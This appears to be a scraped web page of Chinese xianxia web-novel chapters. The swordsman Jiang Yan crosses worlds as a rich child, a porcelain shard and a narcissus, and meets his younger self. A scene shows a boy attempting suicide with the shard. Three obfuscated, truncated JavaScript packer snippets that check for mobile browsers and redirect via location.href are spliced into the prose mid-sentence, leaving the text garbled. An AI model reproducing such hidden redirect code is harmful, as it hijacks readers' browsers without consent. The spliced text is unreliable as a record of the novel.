眼前一点一点亮了起来,江晏定睛看去,竟是他刚刚脱离的这个小世界的景象。 像是一块巨大的地图或屏幕,显示着在这个世界的每处角落发生了什么。 一开始,所有的画面都是灰的。 但随着某处闪了几下后,整个世界的灰色开始渐渐褪去。 几乎是转眼的功夫,又重新恢复了清明。 而刚刚在灰雾中消失的人和物,也再次出现。 江晏:? 一时间,他有太多疑问需要啾啾解答了: “为什么这次我没有被拉进小世界里面?” “为什么世界又恢复了?我应该从哪里找到分魂呢?” 啾啾从他肩头跳下,绕着剑修飞了一圈,终于扑腾着翅膀停在屏幕前。 小鸟说:“先说第一个问题。” “答案很简单,那是因为分魂的心愿得到了满足。” “这条世界线不必重启,你可能要前往下一个世界了。” 尽管之前已经隐约猜到了答案,但从啾啾嘴里确认了的这一刻,江晏感觉自己的胸口突然变得闷闷的。 他想,所以分魂的愿望,真的就这样满足了? 即使是他在刚刚治好热症之后,还没来得及体会生活的美好就死掉了,也依旧满足? 刚刚在灰雾中的记忆,又在他眼前重现,和面前清明的世界叠在一起。 江晏轻声开口,对啾啾说:“可是我们最后都死掉了啊,怎么会完成任务了呢。” 啾啾拍拍他的脑袋:“那也许分魂的心愿就是永远和你在一起呢?” 江晏就猛然抬起头,看着这只小鸟。 啾啾又说:“这么想就合理多了——死在一起怎么不算一种永远在一起呢?” 江晏:…… 在意识到这一点后,他近乎失语了。 而啾啾则是发出了最后的总结,语重心长: “哎呀,双死怎么不算是一种he呢?” 江晏对它翻了个白眼——小鸟根本正经不了多久,在得知这个世界的任务已经成功完成后,又恢复了这副油腔滑调的模样。 他微微皱眉,抬手欲去捏住啾啾的嘴巴。 啾啾就加速拍着翅膀飞远了,一边道:“好了,好了——我再说你的第二个问题。” 江晏便收回了手。 啾啾看着他们眼前的屏幕,说:“世界已经恢复了,这是因为背景的原因。” 江晏:“展开讲讲。” 啾啾道:“这个世界是根据话本来的,又是一个全团都是主角的世界,所以有人发现了世界的秘密,也不足为奇。” “至于那种灰雾,是世界线崩塌的产物。” 啾啾说到这里,江晏似乎听明白了些,道:“那按照眼前的结果看,是主角团赢了?” “世界线虽然彻底崩塌了,但又被重启了。” “现在这个世界,应该和话本无关了吧。” 啾啾就点点头。 江晏便来了兴致,他向前两步,靠近了这世界,仔细打量着其中熟悉的部分。 更重要的是,寻找宁时。 他的目光先聚在悬水宫上。 悬水宫中,宁希似是刚刚苏醒,揉揉眼睛环顾四周后,又去推身边还闭着双目的宁白珠和林成。 ……没有宁时。 江晏就移开目光。 在他将视线移到中洲前,他先看到了平海宗。 平海宗山门下热热闹闹,聚着一众修士。 他们有的在摸自己的胳膊,有的在拉着自己的同伴细细打量,看起来都是一副劫后余生欣喜若狂的样子。 在人群中,江晏也似乎看到了几位熟人。 在握着金色长剑少年身边,站着一位少女,腰间挂刀,面无表情。 她不知想起了什么,向天空看了一眼。 江晏就隔着一个世界,和她对视了。 啾啾见到,便出言提醒:“哦,这位就是把世界线再次干崩了的重生女配。” 江晏轻声说:“我知道。” ……这里也没有宁时。 他再次挪开目光,继续看去。 这次看到了中洲,看到了宁时和他租下的那处小院。 院子里静悄悄的,没有人。 一株还没来得及开花的腊梅伸着枯枝。 地面上依旧是积着一层雪,雪中是两行脚印,正如他们匆忙离开时的模样。 ……宁时也不在这里。 江晏终于想到了什么,面色微微僵硬了,他迟疑地扭过头,将目光向中洲郊外挪去。 是的,就是他们一起死在对方身体边的中洲郊外。 他看到了熟悉的荒原,和抱在一起,脸上淌着重逢热泪的一家三口。 但依旧没有宁时的身影。 江晏就有些着急了。 他唤来啾啾,指着眼前的画面问:“分魂在哪儿?我怎么一直找不到他。” 啾啾凑过来,同他一起研究着眼前的画面。 片刻后,小鸟飞回了他肩上,说:“我知道是怎么一回事了。” 江晏催促:“快说。” 啾啾道:“分魂从某种程度上讲,就是你自己。” “你们本来就不是属于这个世界的,只是被一种力量安插进去了。” “所以,在眼前这个世界崩塌,又重构之后,你和分魂这种意外因素,就被排除掉了。” “分魂不会再出现在这个世界上了。” “身边所有的人都会忘记有他的存在,能记得他的人,只有你自己。” 啾啾用翅膀点了点江晏的胸口。 江晏低下头,似乎听到了自己的心脏在跳动。 他想,那么鲜活的一个宁时,就这样会被全然忘记吗? 江晏不由自主地,再次将目光投到悬水宫上。 只见宁希等人已经从刚才世界崩塌的情绪中缓 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江晏看着她的背影渐渐变小,终于收回了目光。 而与此同时,这世界里的所有画面,瞬间都熄灭了。 这个小世界,已经完全结束了。 他又飘荡在这无穷无尽的虚空中了。 江晏沉默着。 刚刚完成的任务不同于以往,虽然结果是成功的,但若细说起来过程……完全是一言难尽。 像曾经在竹城中,嬢嬢做过的糖。 她切糖时,不小心崩到了刀刃,于是就有细小锋利的铁片藏在糖中。 但在那个时候,糖又是很贵的。 所以江晏就很自觉地说:“没事的,我吃的时候小心一点就好了。” 可即使是他抓起一块糖放入口中,一点一点慢慢舔着,也难免触到那些锋利的铁片。 甜中就带着疼。 所有世界中的往事扑面而来,包裹着他在虚空中漂浮。 江晏并不知道自己要飘向哪里。 而且,这次在他结束小世界后,停留在虚空中的时间,未免也有些长了。 他戳了戳啾啾,询问这个问题。 啾啾绕着他飞来飞去,瞪着一双绿豆眼。 最后,小鸟停在了他的手腕上,语气难得带了几分犹疑: “这种格外迟缓的传送,也许代表着一件事——你可能又要和原世界产生关联了。” “因为前后逻辑不能产生错误,所以在传送灵魂之前,需要更长的时间来准备。” 江晏“哦”了一声,却突然回过神来: “不是,你说什么?” 他难以置信:“我不是已经穿回去过一次了吗?怎么还要来?” 啾啾踩了踩他:“你从前看过各种话本,应该读过像你这种的故事吧。” “全世界和你产生交集的人何其之多,分魂又有那么多身份。” “也许你这一次,依旧是穿到和你自己产生交集的人身上呢?” 这话说得有道理。 江晏放松了身体,任由虚空中的漩涡,将他拉往下一个未知的世界。 166. 小公子与小脏孩 当江晏再次睁开眼睛时,面前是一座古典的院落。 季节是很明显的冬季——天空中零星飘着雪花,这处院落地上还留着一层积雪。 当这些景象闯入江晏眼中时,他怔了一瞬: 这个世界是冬天,而他刚刚离开的那个世界,也是冬天。 同样有一处小院,院中同样都有着积雪。 只是看不到宁时。 江晏想,在这个世界中,宁时究竟会在哪里呢? 而刚刚啾啾说过的话又闯入脑海——你可能又要和原世界产生关联了。 江晏扶额,举目望向四周,不由得微微皱眉: 很多世界中的古典庭院,大多都是外观相似,他完全看不出来这是哪里,也依旧不能确定是不是原世界。 而更为不妙的是,他的视角好像有些不对劲。 江晏盯着眼前的大门和高墙,开始思考这种莫名的感觉从何而来。 终于,一位棕衣男子拿着什么东西匆匆跑到了他身边,弯下身子,对他道:“让公子久等了,小人已经取来公子所说的东西了。” 看来,这是一名仆役。 江晏一时间没反应过来对方说了什么,他只是盯着来人的额头,深吸了一口气——他终于找到了这种不对劲的来源: 他穿越成为了一名小孩。 大概是七八岁的年龄,因此身量并不是很高,所以刚才那仆人才会弯下腰同他讲话。 在得知自己换了具身体的那一刻,江晏下意识地摸摸自己的脸。 光滑细腻的,确实是小朋友的皮肤。 他手指落下时,碰到了衣服领子。 于是江晏低下头,这才注意到这具身体穿了一身雪白的狐裘。 在上一个世界还是狐狸精的江晏:…… 他摇了摇脑袋,试图把混淆的两个世界再次分离开。 狐裘上的毛领就拂在他脸上,毛茸茸的。 江晏便意识到,自己在这冰天雪地中并未感到寒冷,是这身衣服的原因。 他便细细打量起自己身上了。 于是除了这一身狐裘,他还发现了自己白嫩嫩的手,以及手上的金镯、脖子上的金锁。 还不仅仅是金子,江晏看到,上面花鸟的纹样间,还镶嵌着数颗红蓝黄绿的宝石,即便是小的一颗也有半个指甲盖大小。 站在原地研究一番后,江晏就确认了——自己现在这个身份根本不缺钱。 他便自然而然地起了好奇心,甚至有点想去屋内照一照镜子,看看家中情况了。 但面前的仆役对他说道:“公子,请登车吧。” 江晏心思微动——这小朋友居然要出门吗? 但此时此刻,他又不方便直接询问出门的理由: 如果贸然问出口,大概是会被当做生病了,可能会被仆役们上报给家主,他这具身体就不得不卧在床上,被灌下一碗又一碗汤药。 最为重要的是,这句身体原来的计划就会被打乱了,会对原世界的线索造成干扰。 江晏这样想着,便由那仆役带着,慢慢走到大门口去了。 他这具身体由于没长开,腿还是短短的,因此在跨过门槛时,格外费力。 江晏:…… 没有十全十美的事,虽然他现在的身份很有钱,但若做起来什么大动作,也不太方便。 想到此处,他不禁突然好奇起来,这具新身体中,究竟有没有修为呢? 他把这想法对啾啾说了。 啾啾尖叫:“我不想和你们这些脑子里全是实力的剑修说话!你感觉不出来吗?” 江晏用意识体对他翻了个白眼后,便用神魂在体内探测了一番。 结果显而易见——这就是一个普通小孩的身体。 江晏就有些失落了,毕竟没有灵力,许多剑修能办到的事情小孩就办不到了。 他在思考这些事情之间,已经在那仆役的指引下走出了大门,来到了一驾马车前。 江晏举目看去,只见这马车也是用来上好的红木制成,一看就价格不菲。 在红墙白雪之中,分外好看。 他又打量起街上的环境,却依然没有发现什么标志性的特征。 只是在连绵红墙的尽头,似乎出现了一个小小的黑影。 这片雪地中,有人正在向他们缓缓走来。 不知为何,当看到人影的一瞬间,江晏突然产生了一种等到对方走到自己面前的冲动。 他也确实这样做了。 剑修将此归结于自己在这个世界初来乍到,需要从外人身上获取信息的缘故。 于是他就伫立在原地,看着窸窸窣窣的雪花飘落在眼前。 而那仆役见他如此,却有些着急了,忍不住出言提醒:“公子,赶紧上车罢,莫在雪地里着凉了。” 江晏摆摆手,道:“无事。” 又想到了如今小孩子的身份,便又补充了一句:“那边有个人诶,我想看看他长什么样子。” 这话倒是带了几分真心实意。 果然,仆役也不疑有他,只是口中絮叨着:“希望也是别人家的好公子,若是碰到了什么泼皮无赖,公子今天就不能出门了。” 江晏:? 他回头看向仆役,一头雾水,完全没有弄清楚这两件事间的因果关系。 仆役就为他解释:“公子,老爷之前都说过的。” “若是出门时碰到了身份不好的人,这说明不宜外出。” 江晏:……行吧。 剑修从前在竹城,确实也听说过这些说法,但在当时的他看来,离自己太过遥远了。 因此根本没有放在心上,却不料隔了几个世界,倒是真真切切体会到一次这种惯孩子的方式。 而那仆役絮絮叨叨说完了,又不知道从身上哪里翻出来一个手炉,奉给江晏,一边道: “公子先暖暖手吧。” 这天气确实有些冷,再加上现在是小孩子的身体,江晏便觉得,这手炉真是来得是时候。 他便自然而然接过,捧在手中。 一股妥帖的暖意携着花香包裹住了他,江晏微微动了动鼻子: 这手炉中,绝不仅仅有炭火,肯定还添加香料。 ……真是太讲究,太富贵了。 江晏忍不住对啾啾感慨:“我甚至在成为了峰主后都没有这待遇!” 啾啾啄他:“你当时是什么修为?你还用得到手炉?” 江晏:…… 对哟。 他干咳一声,不再说这些,而是再次把目光投远。 这一次,那沿着红墙根走着的人影近了,距离江晏不过五六丈的距离。 于是剑修可以清晰的看到对方的形容了。 ——这居然也是一个小孩。 但和他现在这具身体不同的是,眼前的小孩瘦瘦的,脏兮兮的。 衣服不算合身并且破破烂烂,就连头发也是毛毛躁躁的,盖住了额头和眉毛。 但碎发下面的那一双眼睛,却又是漆黑明亮的。 江晏看着他,莫名觉得有几分眼熟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112074|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而就在此时,身旁的仆役小小惊呼了一声。 江晏就拧着眉毛,转过身子去看他。 那仆役苦着脸,道:“少爷,我们遇到了个……哎呀,总之今天不好出门了!” 江晏:…… 规矩真多。 而在他身后,那小孩不知是想到了什么,像江晏方向走来的脚步突然加快,以至于每下都在积雪上发出清晰又急促的吱呀声。 江晏就下意识地回过头来。 那脏小孩就站到了他的面前。 江晏从头到脚看了他一遍,决定先投喂这可怜孩子一些食物。 于是,他对仆役道: “把食盒拿过来。” 那仆役在面对他时,还是很乖巧的,闻言,便迅速地将出门前备着的食盒呈到了江晏面前。 刚才穿越之初,他还没来得及仔细看,此时食盒就摆在他面前,江晏这才注意到,这也是用红木做成的,和那红木马车倒是相称。 只不过看起来光盒子就能值不少钱,简直是现实版的买株还珠。 江晏便有些好奇其中的食物了,于是伸出手打开盖子,翻了翻几个隔层。 只见其中装了一些枣花酥、苹果盒子等等甜面点,带着一股油润润的香气,直往人鼻子里钻。 江晏清晰地看到,面前小孩抽了抽鼻子。 他便沉默了一瞬,之后拿着食盒递给这小孩,道:“你都拿着吧。” “你能吃几天呢,吃完了这个盒子换钱。” 对面的小孩就伸手接过。 江晏打量着他这一身脏衣服,忍不住又道: “你来我们家做工怎么样?我可以跟父亲说。” 于是他眼前的小孩终于说出了二人间的一句话。 他说:“多谢公子好意,可我还有要做的事。” 江晏:…… 你都快饿死了,还有什么事情比生存更重要? 但剑修的灵魂毕竟是一位成熟的大人了,于是剑修对自己的言辞进行了优化: “是什么事这么重要呢?” 面前的小孩回答: “我家那边打仗了,只有我了,一路逃过来。” “我想成为很厉害的人,就不怕了。” “听过修仙最厉害了,我要找位仙长,跟着他修炼。” “成为厉害的人,就什么也不怕了。” …… 小孩说完了,只是静静瞧着对方。 在小孩说完这几句话后,江晏被一种熟悉的感觉席卷。 当他意识到这感觉是从何而来时,不禁瞳孔巨震: 这小孩,分明是从前的自己! 是从前一路南下、被浣衣婆婆李吴氏捡到前的自己! 天地玄黄,宇宙洪荒,千回百转之间,此刻竟是自己又救了自己。 他也好,小孩也好,宁时也好,攻玉剑主人也好,胜意门门主也好,都是他一人了。 他的灵魂,在比他想象中更早陪在他的身边。 …… 江晏望着小孩的嘴一张一合,又看见他踩着积雪,一脚深一脚浅地走远。 他的身体嘴唇抖着,他的意识体热泪满面。 他想用现在这具身体冲上去,紧紧抱住小孩。 就像他们的神魂紧贴,不分彼此。 但是,剑修失去了对这身体的控制。 他只能看着公子被仆役半强硬地带进了那朱墙间的大门中。 雕花铜门终于完全合拢,发出一声沉重的闷响。 167. 碎瓷 江晏心神巨震。 但还未等他做出拉住门栓等等动作,眼前的视线就已经扭曲起来。 他愣了一瞬。 但毕竟已经经历过不少小世界了,江晏便迅速反应出来,这大概是穿越的前兆。 这也意味着他作为小公子的此段经历即将结束。 果然,江晏只觉得眼前暗了暗,随后便失去了对这具身体的控制。 江晏感觉自己的躯体在软软倒下,但神魂却愈飘愈高,飘像不知名的远方。 有了刚刚和幼年版江晏的会面,即便神魂是在一片黑暗中,江晏也不禁对下一个锚点产生了好奇: 这一次,他又会降落在何时何地呢? 时空的洪流席卷了他,包裹着他漂流。 终于,四周那不安定的虚无感渐渐消失,他的神魂陡然一沉,似乎再次附着到了什么上面。 沉重的,僵硬的。 江晏并不知道是什么人,亦或者是什么物。 他只是感觉身上冷冷的,但不同于大雪纷飞的那种刺骨,此时寒冷依旧,却是可以勉强忍受的地步。 剑修便屏息凝神,用意识体睁开双眼。 他先看到的,是阴云密布的天。 千千万万的雨丝从天而降,落在地上,落在他身边。 接连不断的水滴砸在土中,急急密密嘈嘈切切,像是能掩盖一万个往事的背景声。 江晏望着天,任凭雨水把浑身浇透,他便突然意识到——原来自己是仰面倒在地上的啊。 有了这个认知之后,他第一个反应就是试图用手撑起身子站起来,再找个地方躲雨。 他尝试了一下……没有成功,这具身体纹丝不动。 啾啾难以言喻的声音响起:“……别费力气了,你这次吧,又不做人了。” 江晏:? 他诧异极了:“我没什么执念吧,怎么会有死物和我的过去产生这么大的关联?” 啾啾不置可否,语气复杂,只是提示道:“你现在是一块碎瓷片呢。” 江晏便更惊讶了:“我还以为是什么呢。” “一块瓷片?你还不如说我穿成攻玉剑了更有可能。” 啾啾:…… 这件事根本没法解释,小鸟放弃了和剑修的沟通,转而对他道:“算了,你自己看看吧。” 江晏便犹疑着,将自己意识体的注意力从啾啾身上,转到现实世界中来。 此时应当正值初春,江晏已知自己无法动弹,便静默地躺着,用余光看着身边隐约透着几分绿意的杂草苗。 头顶上,雨依旧是在下着,完全没有“春雨贵如油”的矜持。 江晏就想叹气了——他这样被雨浇着被泥泡着,也不知要多久才是个头。 他正这样想着,身旁似乎传来了什么声音。 侧耳细细听去,倒像是一个年龄不大的孩子在抽噎。 这就奇了怪了,江晏想,他刚刚传到这个世界的时候,可是一点都没听到动静。 怎么现在,身边就突然有了人活动的迹象呢? 他努力调动感官,用这瓷片的视野向声音的来源看去。 只见一名年龄绝不超过十岁的小男孩,正用双手撑着身体,从泥泞的雨地中挣扎坐起来。 再看他的脸上,犹带着泪痕,应该是刚刚哭过一场,笔尖红红的,呼吸还未完全平复,才让江晏刚才捕捉到了他的声音。 江晏就打量着他。 这个年龄的小朋友,已经隐隐有了长开的趋势。 剑修望着对方的眉眼,隐隐约约中,感到一丝眼熟,但一时又想不分明。 他便不再纠结这些,只是继续看着面前的景象。 小孩所在的地方,放眼望去,都是高高低低的土堆——这里居然是一处坟场。 而且还是不怎么正规的那种,只是这么粗略扫了一眼,江晏就已经看到了好几处没有名字的坟茔。 就连一些有名的坟茔,名牌也十分简陋,大多是用炭笔写在薄木板上的,就这样往土堆上七扭八歪地一插,便表示了一个人的一生。 心中那种奇异的熟悉感加剧了。 江晏缓缓将目光聚在少年身后,自己身前的那一个小土堆上,那一块简易的木板上。 只见是赫然几个阴刻的字: 李吴氏之墓。 歪歪扭扭,笔画也有深有浅,像是匆忙之中用随身携带的匕首刻下的。 但这块木牌是谁竖起来的已经不重要了。 江晏突然之间读懂了上面的文字,瞳孔略微放大——剑修活了这么多年,认识的人不少,但认识的李吴氏,却只有一个。 他的神魂开始颤抖。 他想,在这个小土堆下,会是从河边把他捡回来的婆婆吗? 会是帮他遮掩着逃跑的婆婆吗? 想到这里,剑修再去看面前的小孩时,便知道刚才那种熟悉感是从何而来了。 小孩的脸,已经有了未来剑修的轮廓。 …… 此时此刻,婆婆确实已经死了。 江晏便开始恍惚了,他想,自己当时来这里,除了痛哭一场,还做了什么呢? 不用他再做回忆了。 面前的小孩,一边努力忍着抽泣,一边在身上翻找。 小孩最后翻出了脏兮兮的、被水泡过的六个馒头。 然后他以一副要噎死自己的架势,一口又一口,麻木地重复着咀嚼和吞咽的动作。 但江晏看得清清楚楚,在小孩脸上,有遏制不住的热泪留下。 无声但汹涌,顺着他的脸颊,流到了嘴边的馒头上。 这不是江晏第一次见到哭泣的小孩了。 但是他的意识体还是下意识地伸出手,就像很久很久之前在梦中一样,想给小孩擦擦脸。 把他脸上混着泥水的雨水、泪水,甚至还有和泪水一并流下的鼻涕,一起擦去。 但结果依旧和他曾在无限流世界中做过的那个梦一样。 他什么也做不了,只能看着小孩艰难地吃掉六个馒头。 这个数量,对于他现在这个年龄的小孩,是有些多了。 但江晏知道小孩要干什么了。 ——小孩不想活了,这六个馒头,也许就是他最后的一顿饭。 自然要吃得饱饱的,不能饿着肚子走。 最终的最终,小孩终于停止了吞咽,他目光直勾勾的望着土堆,又抬起手,把土堆上倾斜的木牌扶正。 然后他静默地垂头站在坟前,目光漫无目的地落下。 江晏打了个激灵——这孩子的视线,已经笼罩了他现在的身体。 剑修便回忆了起来,当初自己作为梦境中的旁观者,看到了什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122024|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往事不堪,剑修感觉自己要心痛地再次碎掉了,不知道一块小小的碎瓷,还会继续碎成更小的粉末吗? 而面前,小孩终于捡起了江晏现在附身的碎瓷。 剑修在感到不安的同时,也碰到了小孩冰凉的手——小孩作为一个活人,此时的温度居然与死物相差无几了。 小孩拿着他,江晏无法阻止地,看到小孩用碎瓷往自己的手上靠近,浅浅划了一道。 小孩似乎不太满意,便又将瓷片捏着,对着隐约的日光研究了一番,调整了用手握着的角度,就要往脖子上靠近。 即便是已经知道的结局,但在这一刻,江晏还是慌了。 他用意识体抓住了同样是虚影的小鸟,急忙忙地问:“我怎么才可以让自己现在这个身体碎掉?” “我记得从前,就是这样碎掉的。” 啾啾好像已经知道了一切,但这也没什么奇怪的,神器毕竟是神器。 于是小鸟语气平淡,但又含着一丝古怪,它说:“其实,你附在的这个东西上,并没有什么力量。” “你的意志就是最大的,只要你想碎掉,随时都可以。” “但是,”啾啾正要说下去,却看到剑修的神魂已经闭上了双眼,似是凝神,小鸟便叹了口气,无奈地补充了后半句: “这么着急的吗……我是想提醒你来着,身体破碎,对于你的神魂无碍,但要经受一番痛苦。” “更何况你此次成为的是瓷片,你应该知道,瓷片若是再碎裂,大多都是碎成不可计数的大小碎片的。” “放在你的神魂上,无异于千刀万剐。” 小鸟说的这么一长串,站在原地清了清嗓子之后,终于才是听到了属于剑修的声音。 江晏说:“无事。” “我对我自己,何苦还计较这么多。” 话已至此,啾啾也没有再说什么了。 ——剑修在这个时间节点的结局是已经注定的,它只能作为一个旁观者,看着从前这一段经历再次上演。 …… 小孩的手微微用力下压。 江晏在他手指的寒冷中,却又碰到了尚且温热的脖颈。 有脉搏在他作为瓷片的身体下跳动,他正紧紧贴着从前一个鲜活的自己。 但却也有什么同样温热但粘腻的东西缓慢涌出来了。 江晏知道是什么。 他现在还很痛,也许是身上开始出现的裂纹,也许是他身体里的一颗空荡荡的心。 不要死。 活下去。 活下去吧。 去看风卷过合江宗的山巅。 去听夜里一朵花开的声音。 随着轻微的一声脆响,江晏在更加剧烈的撕裂般的疼痛中意识到,自己确实是碎掉了。 他碎成一片片,掉在地上,落在泥里。 他什么也顾不上了,只是仰头去看着小孩在雨水中的脸。 小孩似乎还没有反应过来发生了什么,大愣愣的。 但眼神似乎和刚才有了许些变化。 江晏便轻轻吐出了一口气。 那是曾经入梦的自己、现在附身于瓷片的自己,共同从自己手中救下自己。 但他同时又在某种意义上,杀死了自己。 他的神魂带着旧时的血,不受控制地浮起、向前,走向未知的远方。 168. 逃出生天与身陷囹圄 江晏再次睁开了眼。 面前依旧是古色古香的建筑,但这一次却格外眼熟。 于是江晏几乎是立即就认出来了这是在哪里,极为激动:“啾啾,我知道,这里是竹城中曾经的何府!” 相比于剑修,啾啾则是平静多了,只是淡淡道:“嗯,我也看出来了。” 江晏:“你怎么看起来不太高兴的样子——不对。” 丰富的、在多个世界间穿越的经历,几乎让剑修就立即意识到了小鸟这种不正常表现的来源: 每当他附在不是正常人类的身体上时,啾啾就是这样冷静又心虚的模样。 江晏:…… 人的底线是会不断降低的,在经历了种种奇怪的身体后,江晏愈发看开了。 他还认真回想了一番在何府的往事,认为不会再比雪中的自己和雨中的自己更惨了,于是再开口向啾啾询问时,语气中甚至带了几分放松: “说吧,你直接告诉我,我这次又变成什么东西了?” “东西”两个字,剑修格外咬重了语气。 啾啾会意,便直言不讳了:“这次你变成了何府中的一株水仙花。” 江晏:? 他有准备,但好像准备少了,剑修便问:“他们家的家徽是牡丹啊,水仙花又是从哪来的?” 啾啾对他翻了个白眼:“人家就乐意多种一些其他品种的,不行吗。” 江晏:“行吧。” 啾啾又道:“还没说完,你这个身体不是普通的水仙花。” “在此地被悉心照料,生长了有十年之久。” “顺便再提一句,你和你那分魂后来使用的身体,两个人都给你现在这水仙花的身体施过肥。” “言归正传,你作为寻常花草年龄已长,再加上机缘巧合,竟是意外生出了灵智,也有了许些修为。” 江晏“嚯”了一声,忍不住去探查自己的身体,片刻后疑惑道:“我怎么没感觉到有什么灵力?” 啾啾用意识体啄他脑门,怒道:“你也不看看你自己是什么修为!” “请你关注一下你现在这个身体的年龄!一株小小的普通的水仙花,甚至还不会化形,你能指望着有什么修为?” 江晏:…… 完全无法反驳,啾啾说的对。 ——这株水仙花分明是灵力太过稀薄了,以至于剑修在刚才的探查中,差点完全忽略掉了。 江晏深吸了一口气: 这和附身在一株普通花草身上有什么区别! 心思千回百转,他又想起了另外一件事。 啾啾曾经说过,他附身之物之人,大多都是和过去的自己发生关联的。 所以,江晏想,现在自己作为一株矮矮的小花,能和旧时的江晏产生怎样的交集呢? 他便仔细打量起眼前的院落,并试图从记忆中扒拉出来是这是属于何家的哪个部位。 剑修的记忆力一向不错,很快,此事就有了眉目: 这是他第一次回溯到原世界线中第一个见到的地点。 也就是分魂刚刚附身在别人身上的地点。 想到此处,江晏不禁微微睁大了眼——再次看向眼前的小院时,很多东西就变了。 他清晰地知道,根本用不了多久,这处安静的地方就会挤满了人。 有一位名为江晏的灯油。 有许许多多的何家仆役,他们其中,有一位是家主夫人从母家带过来的,何府中人称这位为“小十”。 …… 已经发生的事情,无人能阻止。 在剑修回忆往事的时候,往事也正在发生。 小院不复安静,隔着曲折的回廊,隐约传来了骚乱的声音。 那声音愈来愈大,间或夹杂着“不许跑”、“给我抓住”、“堵住他”等等的句子或词语。 并且还能让人听得明明白白,就是往这个小院的方向推过来的。 江晏便长叹了一口气——这些日子,他叹气的次数要比以往更多了。 可能是因为要一次次面对无法改变的、并不愉快的往事。 终于,在他的视线尽头,出现了一名少年。 即便是隔着这么远的距离,又是隔着数百年的时间,但江晏依旧是在第一眼就认出来他的身份—— 这正是少年时的自己。 他穿着一身粗布麻衣,浑身上下并没有什么特意的装扮,只是用红色的发带束发,扎起了一个马尾。 于是在他的行进动作中,这马尾便一弹一弹的,像少年身后长出的一条尾巴,煞是活泼。 少年身量还未完全长高,脸颊处也有些圆润。 江晏看着他,恍惚又熟悉:此时的少年,距离成为一名剑修之间,还有很长的路要走。 但面前的少年并不知晓。 他只是跑着,脚下踩过接连不断的青石板砖,终于是来到了江晏这株水仙花前。 然后他奔跑的动作终于停下——何家的仆役太多了,已经层层叠叠包围住了他。 他们每个人手中都拿着武器,刀枪剑戟,金属制成的利刃泛着点点寒芒。 江晏的目光在这些仆役面上巡回了一圈,看到了一张熟悉的脸: 是那位陪宗翊离开本家,一起来到何府的真正的小十。 这少年,看起来同包围圈中的少年一样稚嫩。 ……仆役们终究是渐渐逼紧了,少年身前和他们之间留下的空隙,越缩越小。 几乎到了伸直手臂就能碰到对方的地步。 而仆役们也确实这样做了。 不知道是谁先打的头,对着中间的少年挥出了第一剑! 而这只是个开头,在此之后。有更多的武器袭来。 少年应该是简单学过一些拳脚功夫,江晏只见他匆忙转身,左右避闪,居然还真的让他躲掉了不少招术。 不仅如此,几番动作过后,少年手中还多出来了一根长枪,应该是从不知道哪个倒霉蛋的手中硬生生夺过来的。 少年得了枪,对付起来面前众人便更是得心应手了,一时间,甚至有压着他们隐隐向后退的趋势。 但江晏知道,事情绝不会这么简单就结束。 果然,那仆役中为首的几人交换了个眼神,突然大喝一声,身上爆涨起金色的灵力! 于是和他们对战的少年,身形微微一顿。 江晏变成的这株小花精五感敏锐,于是他听到少年的自己低声自言自语道: “完了,没想到家仆也有修为。” “这可怎么打啊,我真的还能逃得出去吗?” 江晏:…… 是了,这个时期的自己,是还没有摸到修炼的门槛的。 换句话说,就是一个彻头彻尾的凡人。 一个凡人,遇上修士同他对打,结局是什么样子,不言而喻。 江晏的一颗心就渐渐提紧了,他想,也许…… 现在园中的场面,已经不容剑修再设想更多的“也许”了: 少年的动作被身前两名使用灵力的修士打断,而在少年身后,在他看不到的地方,另一名灰衣仆役,正高高举起手中的长棍,目光瞄准了少年的后脑,正欲蓄力打下! 更为要命的事,他的双手和木棍上,都隐约有着金色灵力的光芒。 ——这也是一位有修为的仆役,少年如果被他这样打中了,后果不堪设想。 江晏在一片焦急中,似乎感受到了现在这具身体花叶微微的颤动。 他突然就有了一个主意。 附身为妖物这种事情,他一回生二回熟,很快就学会了如何用自己神魂原本的修为,来提高这株水仙花的灵力。 剑修屏气凝神,聚出一团浅红灵力,从摇曳的绿叶间,抛向那举着棍子的仆役身上。 一切几乎发生在电光石火间,红色和金色两团灵力相撞,最终是红色占据了上风。 只见那金色的灵力在长棍上闪了几闪,就此消失——是被剑修的灵力强行撞了到了另一个方向。 来不及去细看那仆役的灵力飞到哪里了,这一切并没有结束,仆役的长棍虽然失去了灵力的加持,但依旧在落下。 江晏微微皱眉,用神魂凝聚着自己那团红色的灵力,迅速在少年身前铺张开来—— 于是一层淡淡的、近乎于透明的灵力薄膜包裹住了少年全身。 仆役的长棍终于是落下,重重敲在了少年后脑! 有硬物和血肉骨骼相撞的声音传来。 但好在因为有那层灵力的阻挡,因此这一闷棍,并未对少年造成过大的伤害。 少年只是被冲击力带得身体微微前倾,又立刻稳住了身形,抬起右手按住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“再说了,我的分魂是什么时候逸出的?” 啾啾就叹气了。 